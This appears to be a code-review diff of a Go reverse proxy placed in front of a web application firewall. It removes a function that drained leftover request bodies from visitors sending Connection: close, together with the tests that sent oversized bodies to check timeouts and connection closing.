||||
_ = res.Body.Close()
|
||||
|
||||
if res.StatusCode != tc.status {
|
||||
t.Errorf("status %d, want %d", res.StatusCode, tc.status)
|
||||
}
|
||||
|
||||
// The rest goes in small parts, so that a reset fails a later one.
|
||||
for sent := 0; sent < tc.rest; sent += 1 << 10 {
|
||||
send(t, conn, strings.Repeat("x", 1<<10))
|
||||
}
|
||||
|
||||
got, err := io.ReadAll(reader)
|
||||
if err != nil || len(got) != 0 {
|
||||
t.Errorf(
|
||||
"after the answer, read %q and %v, want the end",
|
||||
got,
|
||||
err,
|
||||
)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestCloseDoesNotWaitForTheRestOfTheBodyOfAVisitorSendingConnectionClose(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
w.Header().Set(dispositionHeader, dispositionClose)
|
||||
w.WriteHeader(http.StatusOK)
|
||||
})
|
||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||
t.Error("the app was asked")
|
||||
})
|
||||
// The request time limit is far longer than dial's deadline.
|
||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||
maxRequestTime: "120000",
|
||||
})
|
||||
|
||||
conn := dial(t, addr)
|
||||
send(t, conn, post+"Connection: close\r\n"+
|
||||
announcedLength(2*questionBodyMaxBytes)+
|
||||
strings.Repeat("x", questionBodyMaxBytes))
|
||||
|
||||
// If the connection stays open, dial's deadline ends this read with a timeout.
|
||||
text, err := io.ReadAll(conn)
|
||||
if err != nil || len(text) != 0 {
|
||||
t.Errorf(
|
||||
"read %q (%v), want the connection closed without an answer",
|
||||
text,
|
||||
err,
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAVisitorSendingConnectionCloseGetsTheEndOfAnAnswerWithoutContentLengthAtOnce(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(t, allow)
|
||||
// The flush has the app's server send greeting in chunks instead of adding a
|
||||
// Content-Length.
|
||||
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
rc := http.NewResponseController(w)
|
||||
_ = rc.EnableFullDuplex()
|
||||
|
||||
_, _ = io.WriteString(w, greeting)
|
||||
_ = rc.Flush()
|
||||
})
|
||||
// The request time limit is far longer than dial's deadline.
|
||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||
maxRequestTime: "120000",
|
||||
})
|
||||
|
||||
conn := dial(t, addr)
|
||||
send(t, conn, post+"Connection: close\r\n"+
|
||||
announcedLength(2*questionBodyMaxBytes)+
|
||||
strings.Repeat("x", questionBodyMaxBytes+1))
|
||||
|
||||
wantGreeting(t, readAnswer(t, conn))
|
||||
}
|
||||
|
||||
func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
@@ -283,7 +148,7 @@ func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
|
||||
mayReachApp bool
|
||||
}{
|
||||
{"within the first part", "1K", 2 << 10, false},
|
||||
{"past the first part", limitPastFirstPart, 129 << 10, true},
|
||||
{"past the first part", "128K", 129 << 10, true},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
@@ -38,10 +38,6 @@ const plainText = "text/plain; charset=utf-8"
|
||||
// and the visitor then gets a closed connection and no answer.
|
||||
const minSendTime = 10 * time.Second
|
||||
|
||||
// maxBodyReadAfterAnswer is the most of a body left unread that Go's server
|
||||
// reads once the handler returns, for a visitor without Connection: close.
|
||||
const maxBodyReadAfterAnswer = 256 << 10
|
||||
|
||||
// errResponseTooLate refuses an app's answer that arrives once
|
||||
// SWW_RPROXY_MAX_RESPONSE_TIME_MS has run out.
|
||||
var errResponseTooLate = errors.New(
|
||||
@@ -342,8 +338,8 @@ func (rq *request) answer(status int) {
|
||||
}
|
||||
|
||||
// A visitor found too slow is read no more; any other may go on sending until
|
||||
// its time is up, so that the rest of the body is read and the request ends
|
||||
// cleanly: by Go's server, or by readRestOfBody.
|
||||
// its time is up, so that Go's server can read the rest of the body and end
|
||||
// the request cleanly.
|
||||
deadline := rq.requestDeadline()
|
||||
if status == http.StatusRequestTimeout {
|
||||
deadline = time.Now()
|
||||
@@ -527,35 +523,10 @@ func (rq *request) stopReadingBody(deadline time.Time) {
|
||||
_ = rq.rc.SetReadDeadline(deadline)
|
||||
}
|
||||
|
||||
// readRestOfBody reads up to 256 KiB of the rest of the body once the visitor
|
||||
// has been answered with a Content-Length, until the read deadline already set on
|
||||
// the connection. It does this only for a body with a declared length from a
|
||||
// visitor that sent Connection: close, because Go's server reads none of that
|
||||
// rest. Without the read, the visitor, still sending, gets a reset and may never
|
||||
// read the answer. Go's server ends an answer without a Content-Length only once
|
||||
// the handler returns, so reading first would hold back the end of that answer.
|
||||
// Past 256 KiB, the MaxBytesReader made with Go's own ResponseWriter has Go's
|
||||
// server tell the visitor it sends no more, then wait 500 ms before it closes
|
||||
// the connection.
|
||||
func (rq *request) readRestOfBody() {
|
||||
if !rq.in.Close || rq.in.ContentLength <= 0 || rq.body.received.Load() ||
|
||||
rq.out.Header().Get("Content-Length") == "" ||
|
||||
rq.out.status == http.StatusSwitchingProtocols {
|
||||
return
|
||||
}
|
||||
|
||||
rest := http.MaxBytesReader(
|
||||
rq.out.ResponseWriter,
|
||||
rq.in.Body,
|
||||
maxBodyReadAfterAnswer,
|
||||
)
|
||||
_, _ = io.Copy(io.Discard, rest)
|
||||
}
|
||||
|
||||
// stopPassingOnBody ends the transport's reading of a visitor's body that has
|
||||
// not arrived whole, and lets Go's server, or readRestOfBody, read the rest until
|
||||
// deadline. Go's server reads it once the handler returns, but with no deadline
|
||||
// at all if another read of it is still waiting.
|
||||
// not arrived whole, and lets Go's server read the rest until deadline. Go's
|
||||
// server reads it once the handler returns, but with no deadline at all if
|
||||
// another read of it is still waiting.
|
||||
func (rq *request) stopPassingOnBody(deadline time.Time) {
|
||||
if rq.body == nil || rq.body.received.Load() {
|
||||
return
|
||||
|
||||
@@ -169,7 +169,6 @@ func newWAFTransport() *http.Transport {
|
||||
// it writes the request's log line and sends its report.
|
||||
func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
rq := h.newRequest(w, r)
|
||||
defer rq.readRestOfBody()
|
||||
defer rq.finish(r.Context())
|
||||
|
||||
if r.Method == http.MethodGet && r.URL.Path == waf.HealthPath {
|
||||
|
||||
Reference in new issue
Block a user